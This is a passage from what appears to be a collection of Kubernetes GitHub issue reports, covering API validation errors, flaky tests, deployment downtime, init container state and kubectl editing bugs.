defined: path:       /apis/98/operations/4/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not defined: path:       /apis/98/operations/5/parameters/2/name: api path parameter could not be resolved: path      /apis/98/path: api requires path parameter but it is not defined: path:       /apis/100/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/101/operations/0/parameters/5/type: model could not be resolved:  int64    api declaration  /apis/extensions/v1beta1  errors:       /apis/0/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/1/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/3/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/4/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/5/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/7/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/8/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/10/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/11/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/12/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/14/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/15/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/17/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/18/operations/0/parameters/5/type: model could not be resolved:  int64      /apis/19/operations/0/parameters/5/type: model could not be resolved:  int64  138 errors and 0 warnings      cc @caesarxuchao @bgrant0607 @lavalamp

kubernetes needs to be able to request resources on demand: external ips, load balancers, storage devices, nodes, ...

kubectl get all  does not list the pdbs in a cluster.\r \r    \r ~kubectl get all\r name      ready     status    restarts   age\r po/zk-0   1/1       running   0          2m\r po/zk-1   1/1       running   0          2m\r po/zk-2   1/1       running   0          1m\r \r name              cluster-ip   external-ip   port s              age\r svc/kubernetes    10.0.0.1     <none>        443/tcp             11m\r svc/zk-headless   none         <none>        2888/tcp,3888/tcp   2m\r \r name              desired   current   age\r statefulsets/zk   3         3         2m\r    \r \r    \r ~ kubectl get poddisruptionbudget\r name                 min-available   allowed-disruptions   age\r cockroachdb-budget   67%             0                     7d\r zk-budget            100%            0                     1m\r    \r \r client version: v1.5.1\r \r

is this a request for help?  : no\r   what keywords did you search in kubernetes issues before filing this one?  : \ ingress\ , \ ingress path\ .\r \r ---\r \r   is this a bug report or feature request?  : neither.\r   kubernetes version    use  kubectl version  : n/a  any \r   environment  :\r -   cloud provider or hardware configuration  : n/a  any \r -   os    e.g. from /etc/os-release : n/a  any \r -   kernel    e.g.  uname -a  : n/a  any \r -   install tools  : n/a  any \r -   others  : n/a  any \r \r   what happened  :\r while implementing an ingress controller, i read the api documentation for v1beta1.httpingresspath.  i found the definition for the \ path\  element to be insufficiently well specified to allow implementation of an ingress controller.\r \r problem 1: the specification says \ paths must begin with a /\ .  does this imply the regular expression should be anchored at the start of the request url?  for example, say the request path is  /foo/bar  and the ingress path is  /bar .  normally the regular expression  /bar  should match  /foo/bar , but the implication here is that  /bar  should be treated as  ^/bar , and therefore not match.  if this is the intention, it should be stated explicitly.  if not, there seems to be no reason to require the path to begin with a  /   for example,  \\.jpg$  could be a valid path .\r \r problem 2: the specification does not say whether overlapping paths are allowed, and if they are, how they should be handled.  for example, if two paths are defined, one for  ^/foo  and one for  ^/foo/bar , where should the request url  /foo/bar/baz  be routed?  is it valid to have two ingresses, one for  ^/  and one for  ^/foo , or should the default ingress always be specified without a path?\r \r   what you expected to happen  :\r i expected the definition of \ name\  to be better specified than it actually was.\r \r   how to reproduce it    as minimally and precisely as possible :\r read the documentation for v1beta1.httpingresspath, at https://kubernetes.io/docs/api-reference/extensions/v1beta1/definitions/ _v1beta1_httpingresspath.\r \r   anything else we need to know  :\r \r

this is a tracking issue for discussion about what needs to be done in order to move crd validation to beta for 1.9.\r \r related links:\r    crd umbrella issue  feature repo   https://github.com/kubernetes/features/issues/95 \r    crd validation feature request  https://github.com/kubernetes/kubernetes/issues/38117 \r    crd validation proposal  community repo   https://github.com/kubernetes/community/pull/708 \r    crd validation implementation pr  alpha   https://github.com/kubernetes/kubernetes/pull/47263 \r \r additional discussions:\r    crd validation using openapi v3  https://github.com/kubernetes/kubernetes/issues/49879 \r

\r  sig-apps  daemon set  serial  should retry creating failed daemon pods  conformance \r  sig-apps  daemon set  serial  should rollback without unnecessary restarts  conformance \r  sig-apps  daemon set  serial  should run and stop complex daemon  conformance \t\r  sig-apps  daemon set  serial  should run and stop simple daemon  conformance \t\r  sig-apps  daemon set  serial  should update pod when spec was updated and update strategy is rollingupdate  conformance \t\r \r please see:\r - https://k8s-testgrid.appspot.com/conformance-all gce,%20master%20 dev \r - https://k8s-testgrid.appspot.com/conformance-all openstack,%20master%20 dev

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i am trying to achieve zero-downtime deployment using kubernetes. but every time i do the upgrade of the deployment using a new image, i am seeing 2-3 seconds of downtime. i have to do this for one of my projects but failed to achieve it. \r so i tried to test the same using a hello-world sort of application, but still could not achieve it. i am deploying my application using the helm charts.\r \r following the online blogs and resources, i am using readiness-probe and rolling update strategy in my deployment.yaml file. but this gives me no success.  \r i have created a  /health  end-point which simply returns  200  status code as a check for readiniess probe. \r \r the images of my config files are given at the end of this issue.\r \r please suggest me what am i doing wrong ?\r \r   what you expected to happen  :\r i expected that after using readiness probes and rollingupdate strategy in kubernetes i would be able to achieve zero-downtime of my service when i upgrade the image of the container. \r \r   how to reproduce it  as minimally and precisely as possible   :\r while doing the upgrade using the  helm upgrade  i continuously hit my application in a loop using the below command\r \r  while true :; do sleep 1; echo 'ok' ; curl --insecure -x get 'https://myservice-mycompanydns.com/health'; done \r \r as soon as the  helm upgrade  completes i see 2-3 seconds of downime in the application giving   503 service temporarily unavailable  error\r   anything else we need to know?  :\r the request to the above  myservice-mycompanydns.com  goes through an amazon elb.\r i am not able to attach the yaml files. how should i send my yaml files?\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.0\ , gitcommit:\ 91e7b4fd31fcd3d5f436da26c980becec37ceefe\ , gittreestate:\ clean\ , builddate:\ 2018-06-27t20:17:28z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11+\ , gitversion:\ v1.11.8-eks-7c34c0\ , gitcommit:\ 7c34c0d2f2d0f11f397d55a46945193a0e22d8f3\ , gittreestate:\ clean\ , builddate:\ 2019-03-01t22:49:39z\ , goversion:\ go1.10.8\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration: \r aws\r \r - os  e.g:  cat /etc/os-release  : \r pretty_name=\ debian gnu/linux 9  stretch \ \r name=\ debian gnu/linux\ \r version_id=\ 9\ \r version=\ 9  stretch \ \r id=debian\r home_url=\ https://www.debian.org/\ \r support_url=\ https://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r \r - kernel  e.g.  uname -a  :\r linux wine-deployment-645c8b58dd-pwggj 4.14.94-89.73.amzn2.x86_64 \r \r - install tools:\r none\r - others:\r \r below are my resource files\r \r ! deployment-yaml  https://user-images.githubusercontent.com/40738665/55136369-392f1380-5154-11e9-80b5-ff7e557ab22f.png \r ! ingress-yaml  https://user-images.githubusercontent.com/40738665/55136374-3c2a0400-5154-11e9-9c4b-433b0eff9a0e.png \r ! service-yaml  https://user-images.githubusercontent.com/40738665/55136382-3f24f480-5154-11e9-934a-0fd7d2fc1d73.png \r

@dchen1107 it would be awesome to have more metadata available in nodesysteminfo.  what are the limits ?  anyone else thinking about this.  some ideas - what storage is supported - what binaries are available on the system path - total amount of storage available  not sure we might already have this somewhere    obviously there are a million things we might want to add.  i'm sure the node folks have deeper knowledge of what we actually _should_ add to the metadata.   for context, this idea came up in  22613 where tim brought up the idea of matching storage tests against labelled nodes that can run \ gluster\  or \ ceph\  or ...

hi,  in this line https://github.com/kubernetes/kubernetes/blob/master/docs/getting-started-guides/coreos/cloud-configs/master.yaml l36 you generate a servicekey on every boot, regardless of any key that's still present there. in my opinion this will invalidate all secrets for the pods after a reboot of the master. is there a specific reason for that? i think it would be better to generate a certificate + key only if not present and then use it as tls-cert-file and tls-private-key-file for kube-apiserver and root-ca-file and service-account-private-key-file for kube-controller-manager. are there any drawbacks with that? otherwise i would generate a pullrequest to change that.  best regards, frank

federated ingress only currently works across gce/gke/gcp clusters with the \ glbc\  ingress controller installed.  this needs to be clearly documented, and appropriate error events generated  by the federation control plane  when attempts are made to create federated ingresses across other types of clusters.

kubernetes version    use  kubectl version  :  client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:16:57z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ } server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.0\ , gitcommit:\ a16c0a7f71a6f93c7e0f222d961f4675cd97a46b\ , gittreestate:\ clean\ , builddate:\ 2016-09-26t18:10:32z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }    what happened  :  i pushed a container to google container registry that contained not much more than the binary   /storeserver , and then tried to create a service and deployment for that image. this is a setup that has worked well for a while now.  the issue in this case was that the binary is a go binary and i mistakenly built it with cgo enabled, but my container did not include any of the shared libraries required by the bits of cgo built into my binary.  the result is that the pod would be stuck in  crashloopbackoff  but with no log messages. doing a  describe  of the pod yielded this error message:      error syncing pod, skipping: failed to \ startcontainer\  for \ storeserver\  with runcontainererror: \ runcontainer: error response from daemon: container command '/storeserver' not found or does not exist.\       this error message implied that the binary was not in the container, when really the binary failed to start because of missing linked objects.    what you expected to happen  :  an error message that explained why the binary could not be executed.    how to reproduce it    as minimally and precisely as possible :  build a container that contains only a dynamically linked program. maybe it has to be a go program; i haven't tried it with a c program.

currently, fluentd on master is unable to ingest logs from master node on gce.\r \r after some investigation it turned out that dns  10.0.0.10  is unavailable from inside the fluentd container: no host can be resolved, doesn't depend on the fluentd image version. fluentd container on the minion node works, no problems whatsoever.\r \r steps to reproduce:\r \r   spin up a cluster on gce\r   check fluentd logs on the master node\r \r if cluster is built from 1.5 branch, fluentd on master node works, logs are being ingested.\r \r cc @piosz

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \ kubernetes pod main container finished but init container is pending\ \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.3-26+09efe457e9341d\ , gitcommit:\ 09efe457e9341d2552b3089cdd465bfd33bf78b4\ , gittreestate:\ clean\ , builddate:\ 2017-02-01t05:38:53z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws m3.2xlarge instance\r -   os    e.g. from /etc/os-release : debian 8\r -   kernel    e.g.  uname -a  : 4.41\r -   install tools  : kube-up\r -   others  :\r \r \r   what happened  :\r we have a pod which has state inconsistency:\r main containers are finished but one of the init containers is pending\r    bash\r $ kubectl describe pod saas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020-gji21\r name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020-gji21\r namespace:\taxuser\r node:\t\tip-10-144-6-124.us-west-2.compute.internal/10.144.6.124\r start time:\tthu, 16 feb 2017 05:03:12 +0000\r labels:\t\tapp=saas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r \t\tcontroller-uid=bb30999d-f404-11e6-aece-02eb5a7ee587\r \t\tjob-name=saas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r \t\tname=saas-unit-test-base\r \t\trole=user\r \t\troot_workflow_id=7e25ca1e-f404-11e6-8e68-0a58c0a88020\r \t\tservice_instance_id=7e25d304-f404-11e6-8e72-0a58c0a88020\r \t\ttier=devops\r status:\t\tpending\r ip:\r controllers:\tjob/saas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r init containers:\r   axpull:\r     container id:\tdocker://33cebb2248dbc41021f157d64cf13a5ff083985876c1bb16fbc068cee72a6924\r     image:\t\tget.applatix.io/axdb-dev:v1.9\r     image id:\t\tdocker://sha256:214698d2b1a50c7dcf7ce532dfffa1be3ae07395b0db961a7b314632d4762b37\r     port:\r     command:\r       /bin/true\r     requests:\r       cpu:\t\t10m\r       memory:\t\t100mi\r     state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r       started:\t\tthu, 16 feb 2017 04:59:47 +0000\r       finished:\t\tthu, 16 feb 2017 04:59:47 +0000\r     ready:\t\ttrue\r     restart count:\t0\r     volume mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7fowl  ro \r     environment variables:\t<none>\r   axinit:\r     container id:\r     image:\t\tget.applatix.io/axsys/artifacts:1.6.1-d638331\r     image id:\r     port:\r     args:\r       pre\r     requests:\r       cpu:\t\t10m\r       memory:\t\t400mi\r     state:\t\twaiting\r       reason:\t\tpodinitializing\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /ax-artifacts-scratch from artifacts-scratch  rw \r       /ax-artifacts-scratch/in/0 from ax-art-0  rw \r       /copyto from static-bins  rw \r       /etc/axspec from annotations  rw \r       /var/run/docker.sock from docker-socket-file  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7fowl  ro \r     environment variables:\r       ax_customer_image_name:\tget.applatix.io/axdb-dev:v1.9\r       ax_pod_name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020-gji21  v1:metadata.name \r       ax_pod_ip:\t\t  v1:status.podip \r       ax_artifacts_scratch:\t/ax-artifacts-scratch\r       ax_job_name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r containers:\r   axsidekickwait:\r     container id:\tdocker://d349d4c081192c1ed8fa3b1342a86c156dfde34a5dd4ea1db3c64b413bed494f\r     image:\t\tget.applatix.io/axsys/artifacts:1.6.1-d638331\r     image id:\t\tdocker://sha256:2175e5038cf5f888925a56562aadd0928f2ee26caedd3d23f10359d84f01c015\r     port:\r     args:\r       post\r     requests:\r       cpu:\t\t10m\r       memory:\t\t200mi\r     state:\t\tterminated\r       reason:\t\terror\r       exit code:\t137\r       started:\t\tthu, 16 feb 2017 05:00:01 +0000\r       finished:\t\tthu, 16 feb 2017 05:03:40 +0000\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /ax-artifacts-scratch from artifacts-scratch  rw \r       /copyto from static-bins  rw \r       /etc/axspec from annotations  rw \r       /logs from containerlogs  rw \r       /var/run/docker.sock from docker-socket-file  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7fowl  ro \r     environment variables:\r       ax_customer_id:\t\t8be85aec-c7de-11e6-a65f-0234d974d1bf\r       ax_artifacts_scratch:\t/ax-artifacts-scratch\r       ax_main_container_name:\tsaas-unit-test-base\r       ax_job_name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r       logmount_path:\t\t/logs\r       ax_pod_name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020-gji21  v1:metadata.name \r       ax_customer_image_name:\tsaas-unit-test-base\r       ax_region:\t\tus-west-2\r       ax_pod_ip:\t\t  v1:status.podip \r   saas-unit-test-base:\r     container id:\tdocker://1abb504c00690a677e1ecb4e726b522b1b889771d03e7174ba4ed9f710fa045f\r     image:\t\tget.applatix.io/axdb-dev:v1.9\r     image id:\t\tdocker://sha256:214698d2b1a50c7dcf7ce532dfffa1be3ae07395b0db961a7b314632d4762b37\r     port:\r     command:\r       /ax-artifacts-scratch/executor.sh\r     limits:\r       memory:\t1536mi\r     requests:\r       cpu:\t\t1\r       memory:\t\t1536mi\r     state:\t\tterminated\r       reason:\t\tcompleted\r       exit code:\t0\r       started:\t\tthu, 16 feb 2017 05:00:02 +0000\r       finished:\t\tthu, 16 feb 2017 05:02:09 +0000\r     ready:\t\tfalse\r     restart count:\t0\r     volume mounts:\r       /ax-artifacts-scratch from artifacts-scratch  rw \r       /ax-execu-host from static-bins  rw \r       /src from ax-art-0  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-7fowl  ro \r     environment variables:\r       ax_container_name:\t\tsaas-unit-test-bas-7e25d304-f404-11e6-8e72-0a58c0a88020\r       ax_root_service_instance_id:\t7e25ca1e-f404-11e6-8e68-0a58c0a88020\r       ax_service_instance_id:\t\t7e25d304-f404-11e6-8e72-0a58c0a88020\r conditions:\r   type\t\tstatus\r   initialized \tfalse\r   ready \tfalse\r   podscheduled \ttrue\r volumes:\r   artifacts-scratch:\r     type:\temptydir  a temporary directory that shares a pod's lifetime \r     medium:\r   static-bins:\r     type:\temptydir  a temporary directory that shares a pod's lifetime \r     medium:\r   docker-socket-file:\r     type:\thostpath  bare host directory volume \r     path:\t/var/run/docker.sock\r   ax-art-0:\r     type:\temptydir  a temporary directory that shares a pod's lifetime \r     medium:\r   annotations:\r     type:\tdownwardapi  a volume populated by information about the pod \r     items:\r       metadata.annotations -> annotations\r   containerlogs:\r     type:\thostpath  bare host directory volume \r     path:\t/mnt/ephemeral/docker/containers\r   default-token-7fowl:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-7fowl\r qos class:\tburstable\r tolerations:\t<none>\r no events.\r    \r \r   what you expected to happen  :\r main container should not even start if init container is not yet started\r \r   how to reproduce it    as minimally and precisely as possible :\r this happens in our stress test, haven't figured out how to stably reproduce\r \r   anything else we need to know  :\r \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2405/ failed:  k8s.io  pods should cap back-off at maxcontainerbackoff  slow  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:663 mar  8 15:11:57.051: expected 5m0s back-off got=2m43s in delay1 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/pods.go:651

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r latest master \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r centos linux release 7.3.1611  core \r \r -   kernel    e.g.  uname -a  :\r linux oscorehost64 3.10.0-514.16.1.el7.x86_64  1 smp wed apr 12 15:04:24 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r on a fresh install of centos, loaded kubernetes and ran unit tests.\r testruninitmasterchecks in cmd/kubeadm/app/preflight fails consistently\r \r  preflight  warning: kubelet service is not enabled, please run 'systemctl enable kubelet.service'\r  preflight  warning: ebtables not found in system path\r  preflight  warning: socat not found in system path\r --- fail: testruninitmasterchecks  0.41s \r         checks_test.go:196: failed runinitmasterchecks:\r                         expected: false\r                           actual: false\r  preflight  warning: kubelet service is not enabled, please run 'systemctl enable kubelet.service'\r  preflight  warning: ebtables not found in system path\r  preflight  warning: socat not found in system path\r --- fail: testrunjoinnodechecks  0.38s \r         checks_test.go:219: failed runjoinnodechecks:\r                         expected: false\r                           actual: false\r fail\r fail    k8s.io/kubernetes/cmd/kubeadm/app/preflight     1.868s\r \r it seems this test is looking for files in /var/lib/kubelet, if no files exist, the test fails.\r as a workaround, any file can be added in this directory\r \r also, note it shows\r                        expected: false\r                           actual: false\r this is not a clear error message, as it seems the actual matched the expected.\r \r   what you expected to happen  :\r unit tests should pass.\r unit tests should not be dependent on the file system or what may have been\r run in the past.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r run unit tests on on a new system, following the procedure in\r https://github.com/kubernetes/community/blob/master/contributors/devel/development.md\r \r   anything else we need to know  :\r \r

triage dashboard  https://storage.googleapis.com/k8s-gubernator/triage/index.html?job=1-5-. -1-7. upgrade&test=schedulerpriorities \r \r includes links to these:\r   schedulerpriorities  serial  pods should be scheduled to low resource use rate node\r   schedulerpriorities  serial  pod should be prefer scheduled to node that satisify the nodeaffinity\r   schedulerpriorities  serial   pod should avoid to schedule to node that have avoidpod annotation  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-cvm-1-5-gci-1-7-upgrade-cluster-new/18 k8sio-schedulerpriorities-serial-pod-should-avoid-to-schedule-to-node-that-have-avoidpod-annotation \r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:85\r expected error:\r     < errors.errorstring | 0xc420c35060>: {\r         s: \ 1 / 15 pods in namespace \\\ kube-system\\\  are not in running and ready state in 5m0s\ pod                                 node                                         phase   grace conditions\ kube-dns-autoscaler-300991650-0bb9q gke-bootstrap-e2e-default-pool-55863395-k993 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc  } \ \ ,\r     }\r     1 / 15 pods in namespace \ kube-system\  are not in running and ready state in 5m0s\r     pod                                 node                                         phase   grace conditions\r     kube-dns-autoscaler-300991650-0bb9q gke-bootstrap-e2e-default-pool-55863395-k993 pending        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc containersnotready containers with unready status:  autoscaler } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-19 17:03:21 +0000 utc  } \r     \r not to have occurred\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/scheduling/priorities.go:84\r    \r \r  /assign @davidopp \r \r see also  47767

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /cc @deads2k @fabianofranz \r \r   what happened  :\r  48579 describes an issue about updating service to nodeport type gets port lost  repro steps: https://github.com/kubernetes/kubernetes/issues/48579 issuecomment-316324543 . service update has a bug associated with this issue and pr  49258 is trying to fix it. \r \r when i verify  49258 on my env, unfortunately the issue still exists. however, the e2e test succeeds:\r  https://github.com/kubernetes/kubernetes/pull/49258/files diff-20a4e2095b63ecd60dd25e78bcd67372.\r \r so, seems like  kubectl edit svc foo  has an issue in this case. it will get port lost after editing.\r \r   what you expected to happen  :\r  kubectl edit svc foo  makes the service have the added udp port.\r \r   how to reproduce it  as minimally and precisely as possible   :\r in order to get more evidence, i simply add below printing at https://github.com/xiangpengzhao/kubernetes/blob/26ad3007c1ed857d7bfdce2945b035b67b4fcb97/pkg/registry/core/service/rest.go l374\r \r    go\r        glog.errorf \ after converting obj to service, port info:\  \r        for _, svcport := range service.spec.ports {\r                glog.errorf \ name: %s, protocol: %s, port: %d, nodeport: %d\ , svcport.name, svcport.protocol, svcport.port, svcport.nodeport \r        }\r    \r \r then i follow the repro steps: https://github.com/kubernetes/kubernetes/issues/48579 issuecomment-316324543. after  kubectl edit svc foo  and saving, i get the result printing:\r \r    \r after converting obj to service, port info:\r name: port-tcp, protocol: tcp, port: 53, nodeport: 0\r    \r _note that there isn't the added udp port info._ seems like  kubectl edit svc foo  doesn't save the new udp port info.\r \r   anything else we need to know?  :\r if i edit an existing nodeport service to add a port with same port number but different protocols, it still fails.\r \r    yaml\r spec:\r   clusterip: 192.168.100.44\r   externaltrafficpolicy: cluster\r   ports:\r   - name: port-tcp\r     nodeport: 31147\r     port: 53\r     protocol: tcp\r     targetport: 6502\r   selector:\r     bar: baz\r   sessionaffinity: none\r   type: nodeport\r    \r edit to:\r    yaml\r spec:\r   clusterip: 192.168.100.44\r   externaltrafficpolicy: cluster\r   ports:\r   - name: port-tcp\r     nodeport: 31147\r     port: 53\r     protocol: tcp\r     targetport: 6502\r   - name: port-udp\r     nodeport: 31147\r     port: 53\r     protocol: udp\r     targetport: 6502\r   selector:\r     bar: baz\r   sessionaffinity: none\r   type: nodeport\r    \r \r i get the result print. the added udp port also gets lost.\r    \r after converting obj to service, port info:\r name: port-tcp, protocol: tcp, port: 53, nodeport: 31147\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : head\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

https://kubernetes.io/docs/admin/authorization/webhook/ configuration-file-format\r \r problems:\r 1. i need to change an input file to turn on or off the webhook, requiring an apiserver restart.  dynamic configuration would be better \r 2. the destination should be phrased in terms of a kubernetes service, both to be consistent with other similar things  aggregator, admission control webhook , and because just putting in a predicted cluster-provided dns name won't work in all environments.\r \r i propose that either the auth webhook be removed in favor of https://kubernetes.io/docs/admin/extensible-admission-controllers/ external-admission-webhooks once the latter graduates from alpha, or that the auth webhook be fixed to behave consistently.

cc @kubernetes/sig-cluster-lifecycle-bugs \r \r    \r $ go version\r go version go1.9.2 linux/amd64\r $ git rev-parse head\r 5d270b1583a0bb3bac90468ea1ab5c042cb2afa6\r $ go get golang.org/x/tools/cmd/stress\r $ go test -v -i -o upgrade.test k8s.io/kubernetes/cmd/kubeadm/app/phases/upgrade\r   ...\r $ stress ./upgrade.test -test.run=testshouldbackupapiservercertandkey$     \r 8 runs so far, 0 failures\r \r /tmp/go-stress445547348\r --- fail: testshouldbackupapiservercertandkey  2.02s \r         postupgrade_v18_19_test.go:189: test 1.9 version with cert not older than 180 days doesn't needs to backup: shouldbackupapiservercertandkey expected false, got true\r fail\r \r \r error: exit status 1\r \r 17 runs so far, 1 failures\r \r /tmp/go-stress033966243\r --- fail: testshouldbackupapiservercertandkey  1.40s \r         postupgrade_v18_19_test.go:189: test 1.9 version with cert not older than 180 days doesn't needs to backup: shouldbackupapiservercertandkey expected false, got true\r fail\r \r \r error: exit status 1\r \r 27 runs so far, 2 failures\r ^c\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r 1. create a deployment\r    \r apiversion: apps/v1\r kind: deployment\r metadata:\r   name: bb-deployment\r   labels:\r     app: bbl\r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       app: bbl\r   template:\r     metadata:\r       labels:\r         app: bbl\r     spec:\r       containers:\r       - name: nginx\r         image: nginx\r    \r 2. deployment works fine and the pod is creating correctly as shown here:\r \r    \r $ _output/bin/kubectl get deployment\r name            desired   current   up-to-date   available   age\r bb-deployment   1         1         1            1           3s\r $  _output/bin/kubectl get pod\r name                            ready     status    restarts   age\r bb-deployment-659cdb7c4-9c89g   1/1       running   0          9s\r $  _output/bin/kubectl get rs\r name                      desired   current   ready     age\r bb-deployment-659cdb7c4   1         1         1         12s\r    \r 3. edit the deployment with an non-existence  erroneous  volume as follows:\r    \r $ _output/bin/kubectl edit deployment\r    \r add following  non-existent and erroneous volume  to the pod spec:\r \r    \r   volumes:\r   - name: dockersecrets\r     secret:\r       defaultmode: 420\r       secretname: badsecret\r    \r add following to the container spec:\r \r    \r     volumemounts:\r     - mountpath: /etc/registryconfig\r       name: dockersecrets\r    \r \r 4. notice that a new pod gets stuck in containercreating:\r \r    \r $  _output/bin/kubectl get pod\r name                             ready     status              restarts   age\r bb-deployment-659cdb7c4-9c89g    1/1       running             0          5m\r bb-deployment-6bcf47cd64-srzl6   0/1       containercreating   0          3s\r    \r \r 5. now edit the deployment again and remove the stanzas added in step 3.\r \r 6. notice the new pod gets 